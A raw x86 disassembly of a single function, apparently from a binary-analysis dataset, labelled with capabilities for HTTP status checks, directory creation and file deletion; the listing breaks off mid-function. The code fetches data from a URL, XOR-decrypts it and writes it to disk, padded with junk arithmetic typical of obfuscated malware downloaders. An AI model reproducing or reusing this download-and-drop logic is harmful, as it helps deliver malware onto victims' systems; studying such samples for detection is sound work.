Function at 0x40ee70
Capabilities:
Check http status code
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xed4
mov eax, dword [0x431008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0xe90], 0x14d0c
mov dword [ebp - 0xdb8], 0xbaa9
mov dword [ebp - 0xdc4], 0xe6d9
mov dword [ebp - 0xdc0], 0xe5
mov dword [ebp - 0xdbc], 0x14bda
push 0
push 0
push 0
push 1
push 0x42f4f4
call dword [0x43409c]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jne 0x40eedf
xor eax, eax
jmp 0x410b19
push 0
push 0x80000000
push 0
push 0
push 4
push 0x24
push 0x431a58
call fcn.0040bed0
add esp, 0xc
push eax
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4340a0]
mov dword [ebp - 0xdc8], eax
cmp dword [ebp - 0xdc8], 0
jne 0x40ef2c
mov ecx, dword [ebp - 0xdcc]
push ecx
call dword [0x4340ac]
xor eax, eax
jmp 0x410b19
mov dword [ebp - 0xd50], 0
mov dword [ebp - 0xd5c], 4
push 0
lea edx, [ebp - 0xd5c]
push edx
lea eax, [ebp - 0xd50]
push eax
push 0x20000013
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4340a8]
cmp dword [ebp - 0xd50], 0xc8
je 0x40ef8f
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4340ac]
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4340ac]
xor eax, eax
jmp 0x410b19
mov dword [ebp - 0xdb4], 0
mov dword [ebp - 0xd58], 4
push 0
lea ecx, [ebp - 0xd58]
push ecx
lea edx, [ebp - 0xdb4]
push edx
push 0x20000005
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4340a8]
cmp dword [ebp - 0xdb4], 0
ja 0x40efef
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4340ac]
mov edx, dword [ebp - 0xdcc]
push edx
call dword [0x4340ac]
xor eax, eax
jmp 0x410b19
mov dword [ebp - 0xd48], 0
lea eax, [ebp - 0xd48]
push eax
push 1
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4340a4]
test eax, eax
je 0x40f023
cmp dword [ebp - 0xd48], 1
je 0x40f02a
xor eax, eax
jmp 0x410b19
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ebp + ecx - 0x120]
mov dword [ebp - 0xdf8], edx
lea eax, [ebp - 0xd48]
push eax
mov ecx, dword [ebp - 0xdf8]
push ecx
lea edx, [ebp - 0x120]
push edx
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4340a4]
test eax, eax
je 0x40f074
mov ecx, dword [ebp - 0xd48]
cmp ecx, dword [ebp - 0xdf8]
je 0x40f095
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4340ac]
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4340ac]
xor eax, eax
jmp 0x410b19
lea ecx, [ebp - 0xd48]
push ecx
push 1
lea edx, [ebp - 0xd41]
push edx
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4340a4]
test eax, eax
je 0x40f0bf
cmp dword [ebp - 0xd48], 1
je 0x40f0e0
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4340ac]
mov edx, dword [ebp - 0xdcc]
push edx
call dword [0x4340ac]
xor eax, eax
jmp 0x410b19
mov dword [ebp - 0xe3c], 0
movzx eax, byte [ebp - 0xd41]
cmp eax, 0xb
jne 0x40f145
mov ecx, dword [ebp - 0xdf8]
push ecx
mov edx, dword [ebp - 0xd48]
push edx
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0xdb4]
push ecx
mov edx, dword [ebp - 0xdc8]
push edx
call fcn.0040dcb0
add esp, 0x14
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4340ac]
mov ecx, dword [ebp - 0xdcc]
push ecx
call dword [0x4340ac]
mov eax, 1
jmp 0x410b19
push 7
lea edx, [ebp - 0x20]
push edx
call fcn.0040d620
add esp, 8
lea eax, [ebp - 0x20]
push eax
push 0x104
lea ecx, [ebp - 0x738]
push ecx
call fcn.0041bcb8
add esp, 0xc
movzx edx, byte [ebp - 0xd41]
push edx
lea eax, [ebp - 0x738]
push eax
call fcn.0040ec30
add esp, 8
mov dword [ebp - 0xe54], 0
lea ecx, [ebp - 0x940]
push ecx
push 1
push 0
push 0x1c
mov edx, dword [ebp - 0xe54]
push edx
call dword [0x4340b8]
xor eax, eax
mov byte [ebp - 0xdcd], al
lea ecx, [ebp - 0xea8]
push ecx
lea ecx, [ebp - 0xdcd]
call fcn.00410b30
mov dword [ebp - 0xdec], eax
mov dword [ebp - 0xde8], 0
jmp 0x40f1e1
mov edx, dword [ebp - 0xde8]
add edx, 1
mov dword [ebp - 0xde8], edx
cmp dword [ebp - 0xde8], 5
jae 0x40f243
mov eax, dword [ebp - 0xde8]
mov ecx, dword [ebp - 0xdec]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xe64], edx
mov eax, dword [ebp - 0xe64]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xdec]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0xe00], cx
mov ecx, dword [ebp - 0xde8]
mov edx, dword [ebp - 0xdec]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0xe68], eax
mov ecx, dword [ebp - 0xe68]
mov dx, word [ebp - 0xe00]
mov word [ecx], dx
jmp 0x40f1d2
mov eax, 5
shl eax, 1
mov ecx, dword [ebp - 0xdec]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0xe6c], edx
xor eax, eax
mov ecx, dword [ebp - 0xe6c]
mov word [ecx], ax
mov edx, dword [ebp - 0xdec]
add edx, 2
mov dword [ebp - 0xe70], edx
lea eax, [ebp - 0x738]
push eax
lea ecx, [ebp - 0x940]
push ecx
mov edx, dword [ebp - 0xe70]
push edx
push 0x104
lea eax, [ebp - 0x328]
push eax
call fcn.004010b0
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x328]
push ecx
call dword [0x4340d4]
mov dword [ebp - 0xe38], eax
cmp dword [ebp - 0xe38], 0xffffffff
jne 0x40f2ec
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4340ac]
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4340ac]
xor eax, eax
jmp 0x410b19
mov ecx, dword [ebp - 0xdb4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xdfc], eax
mov dword [ebp - 0xe74], 0
mov edx, dword [ebp - 0xe74]
cmp edx, dword [ebp - 0xdb4]
jae 0x41060b
mov dword [ebp - 0xd4c], 0
lea eax, [ebp - 0xd4c]
push eax
mov ecx, dword [ebp - 0xdb4]
push ecx
mov edx, dword [ebp - 0xdfc]
push edx
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4340a4]
test eax, eax
je 0x40f35d
cmp dword [ebp - 0xd4c], 0
jne 0x40f362
jmp 0x41060b
mov dword [ebp - 0xde4], 0
jmp 0x40f37d
mov ecx, dword [ebp - 0xde4]
add ecx, 1
mov dword [ebp - 0xde4], ecx
mov edx, dword [ebp - 0xde4]
cmp edx, dword [ebp - 0xd4c]
jae 0x4105c4
mov eax, dword [ebp - 0xe3c]
xor edx, edx
div dword [ebp - 0xdf8]
movzx eax, byte [ebp + edx - 0x120]
mov ecx, dword [ebp - 0xdfc]
add ecx, dword [ebp - 0xde4]
movzx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xdfc]
add eax, dword [ebp - 0xde4]
mov byte [eax], dl
mov ecx, dword [0x431984]
cmp ecx, dword [ebp - 0xdc0]
jg 0x4105a8
mov eax, dword [ebp - 0xdbc]
cdq
mov ecx, 0x6c01
idiv ecx
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdc4]
mov ecx, edx
imul edx, dword [ebp - 0xdb8], 0xc0ae
sub ecx, edx
mov eax, dword [ebp - 0xdb8]
cdq
mov esi, 0x13eca
idiv esi
and ecx, edx
mov dword [ebp - 0xdbc], ecx
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdc0]
push ecx
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdc0]
push eax
mov ecx, dword [ebp - 0xdb8]
push ecx
call fcn.00404f70
add esp, 0x10
cmp eax, dword [0x431984]
je 0x40f8a5
mov edx, dword [0x431ab0]
mov dword [ebp - 0xe34], edx
cmp dword [ebp - 0xe34], 0x5240
je 0x40f6e6
cmp dword [ebp - 0xe34], 0x8bf3
je 0x40f5bb
cmp dword [ebp - 0xe34], 0x126f8
je 0x40f494
jmp 0x40f804
mov eax, dword [ebp - 0xdb8]
sub eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], eax
mov dword [ebp - 0xdc4], 0x1594b
push 0x67cb9
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
or eax, 0x1f49
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdbc]
add eax, dword [ebp - 0xdc4]
add eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdbc]
imul eax, dword [ebp - 0xdb8]
sar eax, 0xcf
mov dword [ebp - 0xdc4], eax
mov edx, dword [ebp - 0xdbc]
mov ecx, dword [ebp - 0xdb8]
shl edx, cl
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc4]
push eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdb8]
push edx
call fcn.00403470
add esp, 0xc
mov eax, dword [ebp - 0xdc4]
add eax, dword [ebp - 0xdc4]
mov ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdb8]
mov edx, dword [ebp - 0xdc0]
sar edx, cl
mov ecx, dword [ebp - 0xdb8]
shl edx, cl
and eax, edx
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdbc]
imul ecx, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdb8]
sar eax, cl
mov dword [ebp - 0xdc4], eax
mov ecx, dword [0x4319f0]
cmp ecx, dword [ebp - 0xdb8]
jne 0x40f494
jmp 0x40f8a0
mov edx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdc4], edx
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdc4]
mov edx, dword [ebp - 0xdb8]
mov ecx, eax
sar edx, cl
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdb8]
push eax
call fcn.00405bc0
add esp, 4
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc4]
mov edx, dword [ebp - 0xdc0]
mov ecx, eax
shl edx, cl
mov ecx, dword [ebp - 0xdc4]
sar edx, cl
mov dword [ebp - 0xdc0], edx
mov ecx, dword [ebp - 0xdc4]
sub ecx, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdc4]
cdq
mov esi, 0x799e
idiv esi
sub eax, 0xcaa9
sub eax, dword [ebp - 0xdc0]
or ecx, eax
mov dword [ebp - 0xdc4], ecx
mov esi, dword [ebp - 0xdb8]
add esi, dword [ebp - 0xdc4]
mov eax, 0x3964b2df
cdq
idiv dword [ebp - 0xdc0]
sub eax, dword [ebp - 0xdc4]
mov ecx, eax
shl esi, cl
mov dword [ebp - 0xdc4], esi
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdbc]
push edx
call fcn.00402300
add esp, 0x10
mov eax, dword [ebp - 0xdc0]
sub eax, dword [ebp - 0xdbc]
and eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdc0]
or ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], ecx
mov edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc0]
mov ecx, dword [ebp - 0xdbc]
shl eax, cl
mov dword [ebp - 0xdc0], eax
jmp 0x40f8a0
mov esi, dword [ebp - 0xdc4]
imul esi, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdb8]
mov eax, edx
cdq
idiv dword [ebp - 0xdbc]
imul edx, dword [ebp - 0xdbc]
mov ecx, edx
sar esi, cl
mov dword [ebp - 0xdb8], esi
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc0]
cdq
mov ecx, 0x32a
idiv ecx
add edx, 0x4b48
or edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc4]
mov esi, edx
mov eax, 0x3751
cdq
idiv dword [ebp - 0xdc0]
add eax, dword [ebp - 0xdc4]
mov ecx, eax
sar esi, cl
mov dword [ebp - 0xdb8], esi
mov edx, dword [ebp - 0xdb8]
push edx
mov eax, dword [ebp - 0xdbc]
push eax
mov ecx, dword [ebp - 0xdb8]
push ecx
mov edx, dword [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0xdc4]
push eax
call fcn.00402910
add esp, 0x14
mov ecx, dword [ebp - 0xdbc]
imul ecx, dword [ebp - 0xdc4]
add ecx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdc0]
sub ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc4], ecx
imul edx, dword [ebp - 0xdc4], 0x5cc3
add edx, dword [ebp - 0xdbc]
add edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], edx
mov eax, dword [ebp - 0xdbc]
cmp eax, dword [0x4319a0]
jle 0x40f741
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
mov ecx, 0xc489
sub ecx, eax
mov dword [ebp - 0xdb8], ecx
mov edx, dword [0x4319a4]
mov dword [ebp - 0xe20], edx
jmp 0x40f821
mov eax, dword [ebp - 0xe20]
sub eax, 1
mov dword [ebp - 0xe20], eax
mov ecx, dword [ebp - 0xe20]
cmp ecx, dword [ebp - 0xdb8]
jle 0x40f88e
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdbc]
imul eax, dword [ebp - 0xdc4]
sub eax, 0x7fbf7880
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdc4]
sar edx, cl
or edx, dword [ebp - 0xdb8]
mov eax, 0x15ce0
mov ecx, dword [ebp - 0xdc0]
shl eax, cl
or edx, eax
mov dword [ebp - 0xdc0], edx
mov ecx, dword [ebp - 0xdbc]
cmp ecx, dword [0x4319a4]
jb 0x40f82f
jmp 0x40f812
mov edx, dword [ebp - 0xdbc]
cmp edx, dword [0x431a54]
je 0x40f804
jmp 0x410591
mov eax, dword [ebp - 0xdc0]
cmp eax, dword [ebp - 0xdc0]
jne 0x40f8d3
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdc4]
push edx
call dword [sym.imp.USER32.dll_BeginPaint]
cmp eax, dword [ebp - 0xdbc]
je 0x40f98c
mov eax, dword [0x431a18]
mov dword [ebp - 0xe30], eax
jmp 0x40f8ef
mov ecx, dword [ebp - 0xe30]
sub ecx, 1
mov dword [ebp - 0xe30], ecx
mov edx, dword [ebp - 0xe30]
cmp edx, dword [ebp - 0xdc0]
jg 0x40f987
xor eax, eax
cdq
idiv dword [ebp - 0xdc4]
mov ecx, dword [ebp - 0xdc0]
shl edx, cl
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdc4]
mov eax, edx
cdq
idiv dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdbc]
mov ecx, edx
sar eax, cl
mov dword [ebp - 0xdbc], eax
imul eax, dword [ebp - 0xdb8], 0x22e5
cdq
idiv dword [ebp - 0xdb8]
mov eax, edx
cdq
idiv dword [ebp - 0xdc0]
or edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], edx
mov ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], ecx
mov edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], edx
jmp 0x40f8e0
jmp 0x410591
mov eax, dword [0x431a18]
cmp eax, dword [ebp - 0xdc4]
jne 0x4104fe
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdb8]
mov eax, edx
cdq
idiv dword [ebp - 0xdc0]
add edx, 0xce3b
mov ecx, dword [ebp - 0xdc0]
add ecx, dword [ebp - 0xdbc]
or edx, ecx
mov dword [ebp - 0xdc4], edx
mov edx, dword [0x4319a0]
mov dword [ebp - 0xdf4], edx
cmp dword [ebp - 0xdf4], 0x142ad
jg 0x40fa1a
cmp dword [ebp - 0xdf4], 0x142ad
je 0x40fae3
cmp dword [ebp - 0xdf4], 0xffffee67
je 0x40fdfc
cmp dword [ebp - 0xdf4], 0x8aad
je 0x40fbe7
jmp 0x40fe51
cmp dword [ebp - 0xdf4], 0x182bd
je 0x40fa2b
jmp 0x40fe51
push str.prussian_noticing
call fcn.004010e0
add esp, 4
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdbc]
mov eax, 0xdf59
sar eax, cl
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0xdc0]
push eax
mov ecx, dword [ebp - 0xdb8]
push ecx
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [ebp - 0xdb8], eax
mov edx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdc4]
add eax, dword [ebp - 0xdc4]
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdc4]
sub eax, ecx
add eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdbc], eax
mov edx, dword [ebp - 0xdbc]
imul edx, dword [ebp - 0xdc4]
imul eax, edx, 0xaf3e
and eax, dword [ebp - 0xdb8]
mov dword [0x431ab0], eax
mov ecx, dword [ebp - 0xdbc]
cmp ecx, dword [0x431a50]
jne 0x40fa58
mov edx, 0x942
sub edx, dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdb8]
imul eax, dword [ebp - 0xdc0]
or edx, eax
mov dword [0x431ab0], edx
mov ecx, dword [ebp - 0xdc0]
push ecx
push 0x7fde7
push 0x87461
call dword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdb8]
cdq
mov ecx, 0x17889
idiv ecx
mov eax, edx
cdq
idiv dword [ebp - 0xdbc]
mov dword [0x431a54], eax
mov edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], edx
mov ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdc4]
mov eax, 0x7ec9
cdq
idiv dword [ebp - 0xdbc]
sub ecx, eax
add ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], ecx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
add eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], eax
mov edx, dword [ebp - 0xdc4]
or edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdbc]
push eax
mov ecx, dword [ebp - 0xdb8]
push ecx
mov edx, dword [ebp - 0xdb8]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
call fcn.00402300
add esp, 0x10
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0x17af1
idiv ecx
add eax, 0x8752
mov dword [0x431a54], eax
jmp 0x4104f9
mov eax, dword [ebp - 0xdc4]
cdq
mov ecx, 0x1365f
idiv ecx
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdc0]
sub eax, edx
mov ecx, dword [ebp - 0xdc4]
sub ecx, dword [ebp - 0xdb8]
shl eax, cl
mov dword [ebp - 0xdb8], eax
push str.m8i9VB
call fcn.004010e0
add esp, 4
mov dword [ebp - 0xdc4], 0x5a5
mov ecx, dword [0x4319a4]
mov dword [ebp - 0xe2c], ecx
jmp 0x40fc5f
mov edx, dword [ebp - 0xe2c]
sub edx, 1
mov dword [ebp - 0xe2c], edx
mov eax, dword [ebp - 0xe2c]
cmp eax, dword [ebp - 0xdb8]
je 0x40fdfc
push str.plums_goalscorers_barked_oblate_flumped
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdb8]
mov ecx, eax
mov eax, 0x4c4d
cdq
idiv dword [ebp - 0xdb8]
mov eax, 0x183e3
sub eax, edx
or ecx, eax
mov dword [0x431984], ecx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdc0]
mov ecx, edx
shl eax, cl
mov dword [ebp - 0xdb8], eax
mov ecx, 0x1bfb
sub ecx, dword [ebp - 0xdb8]
mov edx, dword [ebp - 0xdb8]
lea eax, [ecx + edx - 0xd992]
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdb8]
push ecx
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
call fcn.00401bc0
add esp, 0xc
mov ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], ecx
mov esi, dword [ebp - 0xdc4]
sub esi, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0x35ca
idiv ecx
sub edx, dword [ebp - 0xdc4]
mov ecx, edx
shl esi, cl
mov dword [ebp - 0xdc4], esi
mov edx, dword [ebp - 0xdc4]
add edx, 0x27d1
sub edx, dword [ebp - 0xdb8]
sub edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0x16709
idiv ecx
mov edx, dword [ebp - 0xdc0]
imul edx, dword [ebp - 0xdc0]
sub eax, edx
add eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdc4]
imul ecx, dword [ebp - 0xdc4]
add ecx, dword [ebp - 0xdc4]
sub ecx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdc0]
sar eax, cl
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdbc]
imul eax, dword [ebp - 0xdc4]
add eax, dword [ebp - 0xdc4]
add eax, dword [ebp - 0xdb8]
sub eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdb8]
imul ecx, dword [ebp - 0xdc4]
imul edx, ecx, 0x1736a
mov eax, dword [ebp - 0xdbc]
sub eax, edx
sub eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc4], eax
jmp 0x40fc50
call fcn.004049c0
mov dword [ebp - 0xdc4], eax
push str.5VoW9_intermingling
call fcn.004010e0
add esp, 4
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdc0]
sub ecx, dword [ebp - 0xdc4]
sub ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], ecx
mov edx, dword [ebp - 0xdc4]
mov eax, dword [ebp - 0xdbc]
lea ecx, [eax + edx + 0xd8c3]
mov dword [ebp - 0xdc4], ecx
jmp 0x4104f9
mov edx, dword [0x431a18]
mov dword [ebp - 0xe28], edx
jmp 0x40fe6e
mov eax, dword [ebp - 0xe28]
add eax, 1
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xe28]
cmp ecx, dword [ebp - 0xdb8]
jne 0x4104f9
imul edx, dword [ebp - 0xdbc], 0x753a
mov eax, dword [ebp - 0xdc0]
mov ecx, dword [ebp - 0xdbc]
lea eax, [ecx + eax - 0x149f0]
add eax, dword [ebp - 0xdb8]
and edx, eax
mov dword [ebp - 0xdc0], edx
mov esi, dword [ebp - 0xdc4]
add esi, dword [ebp - 0xdc4]
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
mov ecx, eax
sar esi, cl
and esi, 0xb66d
mov dword [ebp - 0xdc0], esi
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdc0]
and edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], edx
mov ecx, dword [0x431984]
mov dword [ebp - 0xe24], ecx
jmp 0x40ff10
mov edx, dword [ebp - 0xe24]
sub edx, 1
mov dword [ebp - 0xe24], edx
mov eax, dword [ebp - 0xe24]
cmp eax, dword [ebp - 0xdc4]
je 0x4104e2
mov ecx, dword [0x431a50]
cmp ecx, dword [ebp - 0xdc0]
jl 0x4100ac
mov edx, dword [ebp - 0xdbc]
add edx, 0x142d2
mov dword [ebp - 0xdc4], edx
imul ecx, dword [ebp - 0xdc4], 0x10412
mov esi, dword [ebp - 0xdc4]
sub esi, dword [ebp - 0xdc4]
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdbc]
add esi, eax
or ecx, esi
mov dword [ebp - 0xdc0], ecx
mov edx, dword [ebp - 0xdb8]
imul edx, dword [ebp - 0xdbc]
mov ecx, dword [ebp - 0xdbc]
sub ecx, edx
sub ecx, dword [ebp - 0xdb8]
sub ecx, 0x4071
mov eax, dword [ebp - 0xdc0]
shl eax, cl
mov dword [ebp - 0xdc4], eax
mov ecx, dword [0x431a54]
mov dword [ebp - 0xe1c], ecx
jmp 0x40ffbf
mov edx, dword [ebp - 0xe1c]
sub edx, 1
mov dword [ebp - 0xe1c], edx
mov eax, dword [ebp - 0xe1c]
cmp eax, dword [ebp - 0xdb8]
jl 0x4100a7
mov ecx, dword [ebp - 0xdb8]
push ecx
call fcn.00401b20
add esp, 4
mov edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdb8]
imul eax, dword [ebp - 0xdc0]
add eax, 0x1bf78
mov dword [ebp - 0xdbc], eax
mov dword [ebp - 0xdbc], 0xb792
imul eax, dword [ebp - 0xdc4], 0xf802
cdq
mov ecx, 0x4abf
idiv ecx
add edx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdc0], edx
mov edx, dword [ebp - 0xdc0]
and edx, dword [ebp - 0xdc0]
or edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdbc]
mov ecx, eax
sub ecx, dword [ebp - 0xdc4]
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdb8]
mov edx, dword [ebp - 0xdb8]
sub edx, eax
or ecx, edx
mov dword [ebp - 0xdc4], ecx
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdbc]
mov eax, edx
cdq
mov ecx, 0xe1a2
idiv ecx
mov eax, edx
cdq
idiv dword [ebp - 0xdc0]
add eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], eax
jmp 0x40ffb0
jmp 0x4104dd
mov edx, dword [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0xdbc]
push eax
call fcn.00403c40
add esp, 8
mov esi, eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0xdc0]
push eax
call fcn.00404a50
add esp, 0xc
cmp esi, eax
je 0x4100fc
mov ecx, dword [ebp - 0xdc0]
push ecx
call fcn.00405bc0
add esp, 4
cmp dword [ebp - 0xdbc], eax
jle 0x410140
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdbc]
push eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdbc]
push edx
call fcn.00404590
add esp, 0x10
mov esi, eax
mov eax, dword [ebp - 0xdc4]
push eax
mov ecx, dword [ebp - 0xdbc]
push ecx
call fcn.00405080
add esp, 8
cmp esi, eax
jb 0x4104dd
mov eax, dword [ebp - 0xdbc]
cdq
mov ecx, 0x14768
idiv ecx
mov ecx, edx
mov eax, 0x2d28
cdq
idiv dword [ebp - 0xdc0]
and edx, dword [ebp - 0xdb8]
or ecx, edx
or ecx, dword [ebp - 0xdbc]
mov dword [0x4319a4], ecx
mov edx, dword [ebp - 0xdc4]
cmp edx, dword [0x431a50]
jne 0x4101a7
mov eax, dword [ebp - 0xdc0]
push eax
mov ecx, dword [ebp - 0xdbc]
push ecx
mov edx, dword [ebp - 0xdb8]
push edx
call fcn.00404a50
add esp, 0xc
cmp dword [0x431ab0], eax
ja 0x4103d2
mov eax, dword [ebp - 0xdb8]
push eax
